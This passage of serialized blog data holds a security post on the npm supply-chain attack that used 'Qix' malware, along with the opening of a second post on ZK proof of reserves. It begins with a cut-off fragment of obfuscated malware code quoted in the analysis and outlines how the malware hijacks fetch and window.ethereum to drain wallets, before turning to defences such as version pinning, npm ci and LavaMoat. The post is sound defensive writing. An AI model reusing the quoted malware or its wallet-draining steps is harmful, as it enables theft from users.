_0x5dbe63",{"type":26,"tag":217,"props":68221,"children":68222},{"style":7149},[68223],{"type":32,"value":8993},{"type":26,"tag":217,"props":68225,"children":68226},{"style":7064},[68227],{"type":32,"value":67838},{"type":26,"tag":217,"props":68229,"children":68230},{"style":7048},[68231],{"type":32,"value":1851},{"type":26,"tag":217,"props":68233,"children":68234},{"style":7054},[68235],{"type":32,"value":68158},{"type":26,"tag":217,"props":68237,"children":68238},{"style":7048},[68239],{"type":32,"value":7599},{"type":26,"tag":217,"props":68241,"children":68242},{"style":7154},[68243],{"type":32,"value":60208},{"type":26,"tag":217,"props":68245,"children":68246},{"style":7048},[68247],{"type":32,"value":7669},{"type":26,"tag":217,"props":68249,"children":68250},{"class":7028,"line":7802},[68251,68255,68259,68263,68267,68271,68275,68279,68284,68288],{"type":26,"tag":217,"props":68252,"children":68253},{"style":7042},[68254],{"type":32,"value":8953},{"type":26,"tag":217,"props":68256,"children":68257},{"style":7048},[68258],{"type":32,"value":7051},{"type":26,"tag":217,"props":68260,"children":68261},{"style":7054},[68262],{"type":32,"value":67742},{"type":26,"tag":217,"props":68264,"children":68265},{"style":7048},[68266],{"type":32,"value":180},{"type":26,"tag":217,"props":68268,"children":68269},{"style":7054},[68270],{"type":32,"value":36051},{"type":26,"tag":217,"props":68272,"children":68273},{"style":7048},[68274],{"type":32,"value":7127},{"type":26,"tag":217,"props":68276,"children":68277},{"style":7130},[68278],{"type":32,"value":1883},{"type":26,"tag":217,"props":68280,"children":68281},{"style":7048},[68282],{"type":32,"value":68283},"].",{"type":26,"tag":217,"props":68285,"children":68286},{"style":7054},[68287],{"type":32,"value":68167},{"type":26,"tag":217,"props":68289,"children":68290},{"style":7048},[68291],{"type":32,"value":7618},{"type":26,"tag":217,"props":68293,"children":68294},{"class":7028,"line":7811},[68295,68300,68304,68308,68312,68316,68320,68324,68328,68332],{"type":26,"tag":217,"props":68296,"children":68297},{"style":7054},[68298],{"type":32,"value":68299},"        _0x2c3d7e",{"type":26,"tag":217,"props":68301,"children":68302},{"style":7048},[68303],{"type":32,"value":180},{"type":26,"tag":217,"props":68305,"children":68306},{"style":7054},[68307],{"type":32,"value":36051},{"type":26,"tag":217,"props":68309,"children":68310},{"style":7048},[68311],{"type":32,"value":7127},{"type":26,"tag":217,"props":68313,"children":68314},{"style":7130},[68315],{"type":32,"value":1883},{"type":26,"tag":217,"props":68317,"children":68318},{"style":7048},[68319],{"type":32,"value":68283},{"type":26,"tag":217,"props":68321,"children":68322},{"style":7054},[68323],{"type":32,"value":68167},{"type":26,"tag":217,"props":68325,"children":68326},{"style":7149},[68327],{"type":32,"value":8993},{"type":26,"tag":217,"props":68329,"children":68330},{"style":7054},[68331],{"type":32,"value":68219},{"type":26,"tag":217,"props":68333,"children":68334},{"style":7048},[68335],{"type":32,"value":7162},{"type":26,"tag":217,"props":68337,"children":68338},{"class":7028,"line":7820},[68339,68344,68348],{"type":26,"tag":217,"props":68340,"children":68341},{"style":7048},[68342],{"type":32,"value":68343},"      } ",{"type":26,"tag":217,"props":68345,"children":68346},{"style":7042},[68347],{"type":32,"value":40852},{"type":26,"tag":217,"props":68349,"children":68350},{"style":7048},[68351],{"type":32,"value":8064},{"type":26,"tag":217,"props":68353,"children":68354},{"class":7028,"line":7844},[68355,68359,68363,68367,68371,68375,68379,68383,68387],{"type":26,"tag":217,"props":68356,"children":68357},{"style":7054},[68358],{"type":32,"value":68299},{"type":26,"tag":217,"props":68360,"children":68361},{"style":7048},[68362],{"type":32,"value":180},{"type":26,"tag":217,"props":68364,"children":68365},{"style":7054},[68366],{"type":32,"value":36051},{"type":26,"tag":217,"props":68368,"children":68369},{"style":7048},[68370],{"type":32,"value":7127},{"type":26,"tag":217,"props":68372,"children":68373},{"style":7130},[68374],{"type":32,"value":1883},{"type":26,"tag":217,"props":68376,"children":68377},{"style":7048},[68378],{"type":32,"value":10276},{"type":26,"tag":217,"props":68380,"children":68381},{"style":7149},[68382],{"type":32,"value":267},{"type":26,"tag":217,"props":68384,"children":68385},{"style":7054},[68386],{"type":32,"value":68219},{"type":26,"tag":217,"props":68388,"children":68389},{"style":7048},[68390],{"type":32,"value":7162},{"type":26,"tag":217,"props":68392,"children":68393},{"class":7028,"line":7910},[68394],{"type":26,"tag":217,"props":68395,"children":68396},{"style":7048},[68397],{"type":32,"value":9210},{"type":26,"tag":217,"props":68399,"children":68400},{"class":7028,"line":7954},[68401,68405,68409,68413,68418],{"type":26,"tag":217,"props":68402,"children":68403},{"style":7048},[68404],{"type":32,"value":40847},{"type":26,"tag":217,"props":68406,"children":68407},{"style":7042},[68408],{"type":32,"value":24775},{"type":26,"tag":217,"props":68410,"children":68411},{"style":7048},[68412],{"type":32,"value":7051},{"type":26,"tag":217,"props":68414,"children":68415},{"style":7054},[68416],{"type":32,"value":68417},"_0x4b99fd",{"type":26,"tag":217,"props":68419,"children":68420},{"style":7048},[68421],{"type":32,"value":67939},{"type":26,"tag":217,"props":68423,"children":68424},{"class":7028,"line":7985},[68425],{"type":26,"tag":217,"props":68426,"children":68427},{"style":7048},[68428],{"type":32,"value":16086},{"type":26,"tag":217,"props":68430,"children":68431},{"class":7028,"line":8027},[68432],{"type":26,"tag":217,"props":68433,"children":68434},{"style":7048},[68435],{"type":32,"value":7184},{"type":26,"tag":607,"props":68437,"children":68439},{"id":68438},"impact-of-the-attack",[68440],{"type":32,"value":68441},"Impact of the Attack",{"type":26,"tag":39,"props":68443,"children":68444},{},[68445],{"type":32,"value":68446},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":26,"tag":27,"props":68448,"children":68450},{"id":68449},"why-it-will-happen-again",[68451],{"type":32,"value":68452},"Why It Will Happen Again",{"type":26,"tag":39,"props":68454,"children":68455},{},[68456],{"type":32,"value":68457},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":26,"tag":39,"props":68459,"children":68460},{},[68461],{"type":32,"value":68462},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":26,"tag":27,"props":68464,"children":68466},{"id":68465},"what-developers-can-do",[68467],{"type":32,"value":68468},"What Developers Can Do",{"type":26,"tag":39,"props":68470,"children":68471},{},[68472],{"type":32,"value":68473},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":26,"tag":607,"props":68475,"children":68477},{"id":68476},"_1-version-pinning-in-packagejson",[68478,68480],{"type":32,"value":68479},"1. Version pinning in ",{"type":26,"tag":83,"props":68481,"children":68483},{"className":68482},[],[68484],{"type":32,"value":68485},"package.json",{"type":26,"tag":39,"props":68487,"children":68488},{},[68489],{"type":32,"value":68490},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":26,"tag":39,"props":68492,"children":68493},{},[68494,68496,68502,68504,68510,68512,68517],{"type":32,"value":68495},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":26,"tag":83,"props":68497,"children":68499},{"className":68498},[],[68500],{"type":32,"value":68501},"npm install",{"type":32,"value":68503},". To pin it, just make sure to remove the caret ",{"type":26,"tag":83,"props":68505,"children":68507},{"className":68506},[],[68508],{"type":32,"value":68509},"^",{"type":32,"value":68511}," symbol before the version in ",{"type":26,"tag":83,"props":68513,"children":68515},{"className":68514},[],[68516],{"type":32,"value":68485},{"type":32,"value":1473},{"type":26,"tag":207,"props":68519,"children":68521},{"code":68520,"language":15848,"meta":8,"className":15849,"style":8},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[68522],{"type":26,"tag":83,"props":68523,"children":68524},{"__ignoreMap":8},[68525,68546,68567,68588],{"type":26,"tag":217,"props":68526,"children":68527},{"class":7028,"line":7029},[68528,68533,68537,68542],{"type":26,"tag":217,"props":68529,"children":68530},{"style":7338},[68531],{"type":32,"value":68532},"\"@react-native-async-storage/async-storage\"",{"type":26,"tag":217,"props":68534,"children":68535},{"style":7048},[68536],{"type":32,"value":14785},{"type":26,"tag":217,"props":68538,"children":68539},{"style":7338},[68540],{"type":32,"value":68541},"\"1.23.1\"",{"type":26,"tag":217,"props":68543,"children":68544},{"style":7048},[68545],{"type":32,"value":10953},{"type":26,"tag":217,"props":68547,"children":68548},{"class":7028,"line":6770},[68549,68554,68558,68563],{"type":26,"tag":217,"props":68550,"children":68551},{"style":7338},[68552],{"type":32,"value":68553},"\"@react-native-community/datetimepicker\"",{"type":26,"tag":217,"props":68555,"children":68556},{"style":7048},[68557],{"type":32,"value":14785},{"type":26,"tag":217,"props":68559,"children":68560},{"style":7338},[68561],{"type":32,"value":68562},"\"8.3.0\"",{"type":26,"tag":217,"props":68564,"children":68565},{"style":7048},[68566],{"type":32,"value":10953},{"type":26,"tag":217,"props":68568,"children":68569},{"class":7028,"line":6779},[68570,68575,68579,68584],{"type":26,"tag":217,"props":68571,"children":68572},{"style":7338},[68573],{"type":32,"value":68574},"\"@react-native-community/netinfo\"",{"type":26,"tag":217,"props":68576,"children":68577},{"style":7048},[68578],{"type":32,"value":14785},{"type":26,"tag":217,"props":68580,"children":68581},{"style":7338},[68582],{"type":32,"value":68583},"\"11.4.1\"",{"type":26,"tag":217,"props":68585,"children":68586},{"style":7048},[68587],{"type":32,"value":10953},{"type":26,"tag":217,"props":68589,"children":68590},{"class":7028,"line":7140},[68591,68596,68600],{"type":26,"tag":217,"props":68592,"children":68593},{"style":7338},[68594],{"type":32,"value":68595},"\"@react-native-picker/picker\"",{"type":26,"tag":217,"props":68597,"children":68598},{"style":7048},[68599],{"type":32,"value":14785},{"type":26,"tag":217,"props":68601,"children":68602},{"style":7338},[68603],{"type":32,"value":68604},"\"2.11.0\"\n",{"type":26,"tag":607,"props":68606,"children":68608},{"id":68607},"_2-use-npm-ci",[68609,68611],{"type":32,"value":68610},"2. Use ",{"type":26,"tag":83,"props":68612,"children":68614},{"className":68613},[],[68615],{"type":32,"value":68616},"npm ci",{"type":26,"tag":39,"props":68618,"children":68619},{},[68620,68625,68627,68633,68635,68640],{"type":26,"tag":83,"props":68621,"children":68623},{"className":68622},[],[68624],{"type":32,"value":68616},{"type":32,"value":68626}," uses the dependency versions from ",{"type":26,"tag":83,"props":68628,"children":68630},{"className":68629},[],[68631],{"type":32,"value":68632},"package-lock.json",{"type":32,"value":68634}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":26,"tag":83,"props":68636,"children":68638},{"className":68637},[],[68639],{"type":32,"value":68501},{"type":32,"value":68641}," when adding a new package or updating an existing one.",{"type":26,"tag":607,"props":68643,"children":68645},{"id":68644},"_3-implement-lavamoat",[68646,68648],{"type":32,"value":68647},"3. Implement ",{"type":26,"tag":163,"props":68649,"children":68652},{"href":68650,"rel":68651},"https://github.com/LavaMoat/LavaMoat/tree/main",[167],[68653],{"type":26,"tag":9348,"props":68654,"children":68655},{},[68656],{"type":32,"value":68657},"Lavamoat",{"type":26,"tag":39,"props":68659,"children":68660},{},[68661],{"type":32,"value":68662},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":26,"tag":39,"props":68664,"children":68665},{},[68666],{"type":32,"value":68667},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":26,"tag":207,"props":68669,"children":68671},{"code":68670,"language":15848,"meta":8,"className":15849,"style":8},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[68672],{"type":26,"tag":83,"props":68673,"children":68674},{"__ignoreMap":8},[68675,68687,68699,68711,68728,68735,68743,68755,68766,68786,68802,68809,68821,68841,68857,68864,68871],{"type":26,"tag":217,"props":68676,"children":68677},{"class":7028,"line":7029},[68678,68683],{"type":26,"tag":217,"props":68679,"children":68680},{"style":7338},[68681],{"type":32,"value":68682},"\"resources\"",{"type":26,"tag":217,"props":68684,"children":68685},{"style":7048},[68686],{"type":32,"value":15894},{"type":26,"tag":217,"props":68688,"children":68689},{"class":7028,"line":6770},[68690,68695],{"type":26,"tag":217,"props":68691,"children":68692},{"style":7054},[68693],{"type":32,"value":68694},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":26,"tag":217,"props":68696,"children":68697},{"style":7048},[68698],{"type":32,"value":15894},{"type":26,"tag":217,"props":68700,"children":68701},{"class":7028,"line":6779},[68702,68707],{"type":26,"tag":217,"props":68703,"children":68704},{"style":7054},[68705],{"type":32,"value":68706},"      \"globals\"",{"type":26,"tag":217,"props":68708,"children":68709},{"style":7048},[68710],{"type":32,"value":15894},{"type":26,"tag":217,"props":68712,"children":68713},{"class":7028,"line":7140},[68714,68719,68723],{"type":26,"tag":217,"props":68715,"children":68716},{"style":7054},[68717],{"type":32,"value":68718},"        \"TextEncoder\"",{"type":26,"tag":217,"props":68720,"children":68721},{"style":7048},[68722],{"type":32,"value":14785},{"type":26,"tag":217,"props":68724,"children":68725},{"style":7154},[68726],{"type":32,"value":68727},"true\n",{"type":26,"tag":217,"props":68729,"children":68730},{"class":7028,"line":7165},[68731],{"type":26,"tag":217,"props":68732,"children":68733},{"style":7048},[68734],{"type":32,"value":9210},{"type":26,"tag":217,"props":68736,"children":68737},{"class":7028,"line":7178},[68738],{"type":26,"tag":217,"props":68739,"children":68740},{"style":7048},[68741],{"type":32,"value":68742},"    },\n",{"type":26,"tag":217,"props":68744,"children":68745},{"class":7028,"line":7389},[68746,68751],{"type":26,"tag":217,"props":68747,"children":68748},{"style":7054},[68749],{"type":32,"value":68750},"    \"@ethereumjs/util\"",{"type":26,"tag":217,"props":68752,"children":68753},{"style":7048},[68754],{"type":32,"value":15894},{"type":26,"tag":217,"props":68756,"children":68757},{"class":7028,"line":7406},[68758,68762],{"type":26,"tag":217,"props":68759,"children":68760},{"style":7054},[68761],{"type":32,"value":68706},{"type":26,"tag":217,"props":68763,"children":68764},{"style":7048},[68765],{"type":32,"value":15894},{"type":26,"tag":217,"props":68767,"children":68768},{"class":7028,"line":7439},[68769,68774,68778,68782],{"type":26,"tag":217,"props":68770,"children":68771},{"style":7054},[68772],{"type":32,"value":68773},"        \"console.warn\"",{"type":26,"tag":217,"props":68775,"children":68776},{"style":7048},[68777],{"type":32,"value":14785},{"type":26,"tag":217,"props":68779,"children":68780},{"style":7154},[68781],{"type":32,"value":231},{"type":26,"tag":217,"props":68783,"children":68784},{"style":7048},[68785],{"type":32,"value":10953},{"type":26,"tag":217,"props":68787,"children":68788},{"class":7028,"line":7487},[68789,68794,68798],{"type":26,"tag":217,"props":68790,"children":68791},{"style":7054},[68792],{"type":32,"value":68793},"        \"fetch\"",{"type":26,"tag":217,"props":68795,"children":68796},{"style":7048},[68797],{"type":32,"value":14785},{"type":26,"tag":217,"props":68799,"children":68800},{"style":7154},[68801],{"type":32,"value":68727},{"type":26,"tag":217,"props":68803,"children":68804},{"class":7028,"line":7524},[68805],{"type":26,"tag":217,"props":68806,"children":68807},{"style":7048},[68808],{"type":32,"value":16071},{"type":26,"tag":217,"props":68810,"children":68811},{"class":7028,"line":7553},[68812,68817],{"type":26,"tag":217,"props":68813,"children":68814},{"style":7054},[68815],{"type":32,"value":68816},"      \"packages\"",{"type":26,"tag":217,"props":68818,"children":68819},{"style":7048},[68820],{"type":32,"value":15894},{"type":26,"tag":217,"props":68822,"children":68823},{"class":7028,"line":7570},[68824,68829,68833,68837],{"type":26,"tag":217,"props":68825,"children":68826},{"style":7054},[68827],{"type":32,"value":68828},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":26,"tag":217,"props":68830,"children":68831},{"style":7048},[68832],{"type":32,"value":14785},{"type":26,"tag":217,"props":68834,"children":68835},{"style":7154},[68836],{"type":32,"value":231},{"type":26,"tag":217,"props":68838,"children":68839},{"style":7048},[68840],{"type":32,"value":10953},{"type":26,"tag":217,"props":68842,"children":68843},{"class":7028,"line":7621},[68844,68849,68853],{"type":26,"tag":217,"props":68845,"children":68846},{"style":7054},[68847],{"type":32,"value":68848},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":26,"tag":217,"props":68850,"children":68851},{"style":7048},[68852],{"type":32,"value":14785},{"type":26,"tag":217,"props":68854,"children":68855},{"style":7154},[68856],{"type":32,"value":68727},{"type":26,"tag":217,"props":68858,"children":68859},{"class":7028,"line":7672},[68860],{"type":26,"tag":217,"props":68861,"children":68862},{"style":7048},[68863],{"type":32,"value":9210},{"type":26,"tag":217,"props":68865,"children":68866},{"class":7028,"line":7681},[68867],{"type":26,"tag":217,"props":68868,"children":68869},{"style":7048},[68870],{"type":32,"value":9754},{"type":26,"tag":217,"props":68872,"children":68873},{"class":7028,"line":7754},[68874],{"type":26,"tag":217,"props":68875,"children":68876},{"style":7048},[68877],{"type":32,"value":7184},{"type":26,"tag":39,"props":68879,"children":68880},{},[68881,68883,68889,68891,68897,68898,68903,68905,68911,68912,68918],{"type":32,"value":68882},"In this example, it restricts the ",{"type":26,"tag":83,"props":68884,"children":68886},{"className":68885},[],[68887],{"type":32,"value":68888},"@ethereumjs/util",{"type":32,"value":68890}," package to use only ",{"type":26,"tag":83,"props":68892,"children":68894},{"className":68893},[],[68895],{"type":32,"value":68896},"console.warn",{"type":32,"value":1308},{"type":26,"tag":83,"props":68899,"children":68901},{"className":68900},[],[68902],{"type":32,"value":67152},{"type":32,"value":68904}," functions, and to include only ",{"type":26,"tag":83,"props":68906,"children":68908},{"className":68907},[],[68909],{"type":32,"value":68910},"@ethereumjs/rlp",{"type":32,"value":1308},{"type":26,"tag":83,"props":68913,"children":68915},{"className":68914},[],[68916],{"type":32,"value":68917},"ethereum-cryptography",{"type":32,"value":68919}," packages.",{"type":26,"tag":39,"props":68921,"children":68922},{},[68923],{"type":32,"value":68924},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":26,"tag":39,"props":68926,"children":68927},{},[68928,68930,68937],{"type":32,"value":68929},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":26,"tag":163,"props":68931,"children":68934},{"href":68932,"rel":68933},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[167],[68935],{"type":32,"value":68936},"Object.freeze",{"type":32,"value":180},{"type":26,"tag":607,"props":68939,"children":68941},{"id":68940},"lavamoat-vs-qix-malware",[68942],{"type":32,"value":68943},"Lavamoat vs Qix Malware",{"type":26,"tag":39,"props":68945,"children":68946},{},[68947,68949,68954],{"type":32,"value":68948},"If a dApp were compromised with the Qix malware (say it used ",{"type":26,"tag":83,"props":68950,"children":68952},{"className":68951},[],[68953],{"type":32,"value":66761},{"type":32,"value":68955},"), it would need to perform the following actions to drain funds from a wallet:",{"type":26,"tag":6712,"props":68957,"children":68958},{},[68959,68971,68982,68993],{"type":26,"tag":2044,"props":68960,"children":68961},{},[68962,68964,68969],{"type":32,"value":68963},"Replace ",{"type":26,"tag":83,"props":68965,"children":68967},{"className":68966},[],[68968],{"type":32,"value":67152},{"type":32,"value":68970}," function to a custom one",{"type":26,"tag":2044,"props":68972,"children":68973},{},[68974,68976],{"type":32,"value":68975},"Access ",{"type":26,"tag":83,"props":68977,"children":68979},{"className":68978},[],[68980],{"type":32,"value":68981},"window.ethereum",{"type":26,"tag":2044,"props":68983,"children":68984},{},[68985,68987,68992],{"type":32,"value":68986},"Call original ",{"type":26,"tag":83,"props":68988,"children":68990},{"className":68989},[],[68991],{"type":32,"value":67152},{"type":32,"value":7831},{"type":26,"tag":2044,"props":68994,"children":68995},{},[68996],{"type":32,"value":68997},"Plus other actions not relevant here",{"type":26,"tag":39,"props":68999,"children":69000},{},[69001,69003,69009],{"type":32,"value":69002},"If the dApp is using Lavamoat with a generated policy for ",{"type":26,"tag":83,"props":69004,"children":69006},{"className":69005},[],[69007],{"type":32,"value":69008},"chalk 5.6.0",{"type":32,"value":69010}," (non-malicious version) it would look like this:",{"type":26,"tag":207,"props":69012,"children":69014},{"code":69013,"language":15848,"meta":8,"className":15849,"style":8},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[69015],{"type":26,"tag":83,"props":69016,"children":69017},{"__ignoreMap":8},[69018,69030,69041,69061,69077,69084],{"type":26,"tag":217,"props":69019,"children":69020},{"class":7028,"line":7029},[69021,69026],{"type":26,"tag":217,"props":69022,"children":69023},{"style":7338},[69024],{"type":32,"value":69025},"\"chalk\"",{"type":26,"tag":217,"props":69027,"children":69028},{"style":7048},[69029],{"type":32,"value":15894},{"type":26,"tag":217,"props":69031,"children":69032},{"class":7028,"line":6770},[69033,69037],{"type":26,"tag":217,"props":69034,"children":69035},{"style":7054},[69036],{"type":32,"value":68706},{"type":26,"tag":217,"props":69038,"children":69039},{"style":7048},[69040],{"type":32,"value":15894},{"type":26,"tag":217,"props":69042,"children":69043},{"class":7028,"line":6779},[69044,69049,69053,69057],{"type":26,"tag":217,"props":69045,"children":69046},{"style":7054},[69047],{"type":32,"value":69048},"        \"navigator.userAgent\"",{"type":26,"tag":217,"props":69050,"children":69051},{"style":7048},[69052],{"type":32,"value":14785},{"type":26,"tag":217,"props":69054,"children":69055},{"style":7154},[69056],{"type":32,"value":231},{"type":26,"tag":217,"props":69058,"children":69059},{"style":7048},[69060],{"type":32,"value":10953},{"type":26,"tag":217,"props":69062,"children":69063},{"class":7028,"line":7140},[69064,69069,69073],{"type":26,"tag":217,"props":69065,"children":69066},{"style":7054},[69067],{"type":32,"value":69068},"        \"navigator.userAgentData\"",{"type":26,"tag":217,"props":69070,"children":69071},{"style":7048},[69072],{"type":32,"value":14785},{"type":26,"tag":217,"props":69074,"children":69075},{"style":7154},[69076],{"type":32,"value":68727},{"type":26,"tag":217,"props":69078,"children":69079},{"class":7028,"line":7165},[69080],{"type":26,"tag":217,"props":69081,"children":69082},{"style":7048},[69083],{"type":32,"value":9210},{"type":26,"tag":217,"props":69085,"children":69086},{"class":7028,"line":7178},[69087],{"type":26,"tag":217,"props":69088,"children":69089},{"style":7048},[69090],{"type":32,"value":68742},{"type":26,"tag":39,"props":69092,"children":69093},{},[69094,69096,69102],{"type":32,"value":69095},"That means that the chalk dependency can only access these two global attributes from ",{"type":26,"tag":83,"props":69097,"children":69099},{"className":69098},[],[69100],{"type":32,"value":69101},"navigator",{"type":32,"value":180},{"type":26,"tag":39,"props":69104,"children":69105},{},[69106,69108,69114],{"type":32,"value":69107},"When the compromised dApp would execute the malicious payload of ",{"type":26,"tag":83,"props":69109,"children":69111},{"className":69110},[],[69112],{"type":32,"value":69113},"chalk v5.6.1",{"type":32,"value":69115}," it would fail due to insufficient permissions:",{"type":26,"tag":39,"props":69117,"children":69118},{},[69119],{"type":26,"tag":6468,"props":69120,"children":69122},{"alt":9464,"src":69121},"/posts/supply-chain-attcks/error.png",[],{"type":26,"tag":39,"props":69124,"children":69125},{},[69126,69128,69133],{"type":32,"value":69127},"This error shows that the malware failed since it cannot redefine ",{"type":26,"tag":83,"props":69129,"children":69131},{"className":69130},[],[69132],{"type":32,"value":67152},{"type":32,"value":69134}," function:",{"type":26,"tag":207,"props":69136,"children":69138},{"code":69137},"TypeError#1: Cannot define property fetch, object is not extensible\n",[69139],{"type":26,"tag":83,"props":69140,"children":69141},{"__ignoreMap":8},[69142],{"type":32,"value":69137},{"type":26,"tag":27,"props":69144,"children":69146},{"id":69145},"lavamoat-in-practice",[69147],{"type":32,"value":69148},"Lavamoat In Practice",{"type":26,"tag":39,"props":69150,"children":69151},{},[69152,69154,69161],{"type":32,"value":69153},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":26,"tag":163,"props":69155,"children":69158},{"href":69156,"rel":69157},"https://osec.io/reports/lavamoat_audit_final.pdf",[167],[69159],{"type":32,"value":69160},"see the audit report",{"type":32,"value":8256},{"type":26,"tag":39,"props":69163,"children":69164},{},[69165],{"type":32,"value":69166},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":26,"tag":27,"props":69168,"children":69170},{"id":69169},"final-thoughts",[69171],{"type":32,"value":69172},"Final Thoughts",{"type":26,"tag":39,"props":69174,"children":69175},{},[69176],{"type":32,"value":69177},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":26,"tag":39,"props":69179,"children":69180},{},[69181,69183,69188],{"type":32,"value":69182},"Version pinning and ",{"type":26,"tag":83,"props":69184,"children":69186},{"className":69185},[],[69187],{"type":32,"value":68616},{"type":32,"value":69189}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":26,"tag":9282,"props":69191,"children":69192},{},[69193],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":69195},[69196,69199,69200,69209,69210],{"id":66776,"depth":6770,"text":66779,"children":69197},[69198],{"id":68438,"depth":6779,"text":68441},{"id":68449,"depth":6770,"text":68452},{"id":68465,"depth":6770,"text":68468,"children":69201},[69202,69204,69206,69208],{"id":68476,"depth":6779,"text":69203},"1. Version pinning in package.json",{"id":68607,"depth":6779,"text":69205},"2. Use npm ci",{"id":68644,"depth":6779,"text":69207},"3. Implement Lavamoat",{"id":68940,"depth":6779,"text":68943},{"id":69145,"depth":6770,"text":69148},{"id":69169,"depth":6770,"text":69172},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":69215,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":69216,"description":69217,"date":69218,"author":6812,"image":69219,"isFeatured":17,"onBlogPage":17,"tags":69221,"body":69224,"_type":6799,"_id":73977,"_source":6801,"_file":73978,"_stem":73979,"_extension":6804},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":69220,"width":6817,"height":6817},"/posts/por/title.png",[69222,69223],"zk","por",{"type":23,"children":69225,"toc":73954},[69226,69232,69244,69256,69261,69293,69307,69313,69325,69330,69335,69372,69377,69383,69388,69395,69400,69426,69431,69437,69457,69471,69479,69484,69489,69497,69510,69516,69598,69604,69609,69622,69627,69634,69658,69666,69671,69677,69682,70119,70132,70138,70143,70151,70169,70177,70190,70198,71850,71855,71862,71868,71873,71880,71896,71903,71911,71918,73425,73430,73437,73443,73449,73476,73481,73500,73506,73514,73532,73581,73589,73608,73630,73636,73649,73654,73661,73666,73729,73734,73741,73761,73767,73772,73778,73783,73827,73832,73840,73846,73851,73893,73898,73906,73911,73919,73923,73928,73941],{"type":26,"tag":27,"props":69227,"children":69229},{"id":69228},"what-is-a-proof-of-reserves",[69230],{"type":32,"value":69231},"What is a Proof of Reserves?",{"type":26,"tag":39,"props":69233,"children":69234},{},[69235,69237,69242],{"type":32,"value":69236},"At its heart, ",{"type":26,"tag":9348,"props":69238,"children":69239},{},[69240],{"type":32,"value":69241},"Proof of Reserves (PoR)",{"type":32,"value":69243}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":26,"tag":39,"props":69245,"children":69246},{},[69247,69249,69254],{"type":32,"value":69248},"Think of it this way: ",{"type":26,"tag":9348,"props":69250,"children":69251},{},[69252],{"type":32,"value":69253},"PoR",{"type":32,"value":69255}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":26,"tag":39,"props":69257,"children":69258},{},[69259],{"type":32,"value":69260},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":26,"tag":39,"props":69262,"children":69263},{},[69264,69266,69273,69275,69282,69284,69291],{"type":32,"value":69265},"We from OtterSec, in partnership with ",{"type":26,"tag":163,"props":69267,"children":69270},{"href":69268,"rel":69269},"https://backpack.exchange/",[167],[69271],{"type":32,"value":69272},"Backpack",{"type":32,"value":69274},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our 